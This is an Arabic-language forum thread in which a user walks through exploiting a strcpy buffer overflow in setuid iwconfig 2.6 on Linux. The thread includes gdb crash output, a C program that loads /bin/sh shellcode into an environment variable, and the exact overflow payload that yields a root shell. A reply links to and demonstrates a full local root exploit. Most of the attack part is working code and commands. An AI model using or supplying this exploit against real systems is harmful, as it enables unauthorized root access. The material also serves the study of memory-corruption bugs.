• 0
Qnix

iwconfig 2.6 BOF

سؤال

بسم الله الرحمن الرحيم ...

اليوم سوف اقوم بطرح درس وطيرقه عمل exploit لبرنامج مصاب على نظام Linux

البرنامج المصاب هو iwconfig الاصدار رقم 2.6 ... بسم الله نبدء .

برنامج iwconfig هو برنامج لتنظيم الwireless على Linux ...

الان لنشغل البرنامج

[email protected]:~# iwconfig --help
Usage: iwconfig interface [essid {NN|on|off}]
                         [nwid {NN|on|off}]
                         [mode {managed|ad-hoc|...}
                         [freq N.NNNN[k|M|G]]
                         [channel N]
                         [sens N]
                         [nick N]
                         [rate {N|auto|fixed}]
                         [rts {N|auto|fixed|off}]
                         [frag {N|auto|fixed|off}]
                         [enc {NNNN-NNNN|off}]
                         [power {period N|timeout N}]
                         [txpower N {mW|dBm}]
                         [commit]

كما ترون البرنامج يعمل ويشرح لي بعض الاوامر المستعمله فمصلا لو قمت بادخال

iwconfig eth1 سوف اقوم ببدء التعديل على هاذا ال wireless device واضافه الخواصه له

وما الى ذالك فلنحاول بأدخال قيمه اكبر من ال eth1 ...

[email protected]:~# iwconfig `perl -e 'print "A"x100'`
Segmentation fault (core dumped)

حدث خطء وتم اغلاق البرنامج واعطاني ملف core فيه معلومات عن الخطء لنحاول البحث عن بعض

الاسرار فيه ببرنامج gdb

Gnu Debugger .

[email protected]:~# gdb -c core /sbin/iwconfig
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `iwconfig AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()

كما ترون يقول الملف انه يوجد خطء في عنوان 0x41414141 !!!

لاحظو في البدايه قمنا بكتابه حرف ال A ب 100 مره .. وحدث الخطء وقام بادخال قيمه ال A على مسجلات اخرى وساحات اخرى

لايجب الدخول اليها واستخدامها بداله محدده ... فلنعرض بعض المعلومات ..

(gdb) info reg
eax            0xffffffed       -19
ecx            0x9      9
edx            0x0      0
ebx            0x41414141       1094795585
esp            0xbffff150       0xbffff150
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141
eflags         0x210297 2163351
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0xc010007b       -1072693125
fs             0x0      0
gs             0x0      0

كما ترون قام بلكتابه على ال eip,edi,esi,ebp بقيمه AAAAAAAA وللمعلومه A = 41 في

hex ....

الان لنحاول ان نقوم بجعل البرنامج يقفز بدل القفز للعنوان 0x41414141 الى عنوان shellcode

كود برنامج يقوم بعمليه محدده وال shellcode الذي سوف نقوم بأستعماله سوف يقوم باعطائني

او بلأصح ادخالنا الى /bin/sh ومن هنا نستطيع التحكم في النظام بلكامل ....

فلنحاول بعض المحاولات الان سوف اقوم بأستعمال برنامج صغير يقوم بأدخال ال shellcode

لل environment

ال environment هو مكان تسجل فيه المعلومات التي تحتاجها ولتسعل بعض العميات ...الخ

#include <stdio.h>
#define bash "/bin/bash"


char shellcode[] =
                 "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
                 "\x73\x68\x68\x2f\x62\x69\x6e\x89"
                 "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
                 "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
                 "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
                 "\x55\x89\xe5\x0f\x34";
int main()
{

 char bish[512];

 memset(bish,0x90,512);
 memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
 memcpy(bish,"BISH=",5);
 putenv(bish);
 fprintf(stdout, "BISH IS LOADED !!! :D\n");

 execl(bash, bash,'\0');
return(0);
}

كما ترون هاذا هو الكود وعمله بسيط جدا يقوم بنقل ال shellcode الى enviroment

الان نقوم بعمليه compile ومن ثم تشغيله

[email protected]:~/iwconfig# gcc -o bish bish.c;./bish
Bish loaded into enviroment

تم التشغيل والان نقوم باخذ عنوان ال BISH لكي نقوم بكتابته في المتغير eip فسيقفز البرنامج

الى ال BISH ويقوم بتشغيل ال shellcode بأذن الله ...

[email protected]:~/iwconfig# getenv BISH
BISH is located at 0xbffffce1

كما ترون عنوان ال BISH هو 0xbffffce1

الان لنقم بلتجربه ...

[email protected]:~/iwconfig# iwconfig `perl -e 'print "A"x92 . "\xe1\xfc\xff\xbf"'`
sh-3.00#

تمت العمليه وتم الدخول الى ال /bin/sh واستطيع من هنا عمل اي شئ بلنظام .... لان صلاحيه ال iwconfig هي لل root ويستعمل setuid() .....

الان كل الي قمت به هو اني طبعت 92 حرف A في البرنامج فقام بلخروج عن المساحه المحدده لانه يستعمل الداله strcpy() وليس strncpy()

والان كل ال 8 bits التي سوف تاتي بعد ال 92 سوف تكتب على ال eip لذلك قمت بكتابه العنوان

0xbffffce1

طريقه ادخال هاذا العنوان ليست بلشكل هاذا يجب عليك حذف 0x

bffffce1

وبعدها افصل كل 2 bits بجنبهم وقم باضافه x واقلبهم ويصير العنوان بهاذا الشكل

0xe1 0xfc 0xff 0xbf

ان وجد اي خطء في الموضوع او اي معلومات خاطءه ارجو المعذره وارجو التصحيح ...

تحياتي والى اللقاء ....

تم تعديل بواسطه Qnix
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

5 إجابة على هذا السؤال .

  • 0

قمت بكتابه هاذا ال exploit يقوم بكل العمل بدل منك ...

http://psybnc3.blackhats.tc/~qnix/iwconfig-exploit.c

or

http://www.milw0rm.com/id.php?id=1215

وهاذا هو ال shellcode المستعمل في الموضوع

http://www.milw0rm.com/id.php?id=1169

E.x

[email protected]:~$ gcc -o iwconfig-exploit iwconfig-exploit.c
[email protected]:~$ ./iwconfig-exploit /sbin/iwconfig

*********************************************
  iwconfig Version 26 Localroot Exploit
   Coded by Qnix[at]bsdmail[dot]org
*********************************************

[~] S-P.ESP     : 0xbffff298
[~] O-F.ESP     : 0x0
[~] Return Addr : 0xbfffffbf

sh-3.00# whoami
root

تم تعديل بواسطه Qnix
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

جزاك الله كل الخير وان كنت ساقتصر على قراءة المفاهيم والسبل (لان النظام Linux).. :)

يبدو ان خبراءنا كانوا متفقين على توقيت للعودة :D

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

إن شاء الله الي نقدر عليه راح نسويه ..

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

جزاك الله خيرا

المزيد :D

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

إكتشاف موفق أخي Qnix

والظاهر ان اسمك بدأ يشتهر في مواقع السيكيورتي ,,,

-

وبالفعل لازم ننوع الثغرات في المنتدى -- ومانركز على نظام واحد !

وبالتوفيق

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
زوار
This topic is now closed to further replies.

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .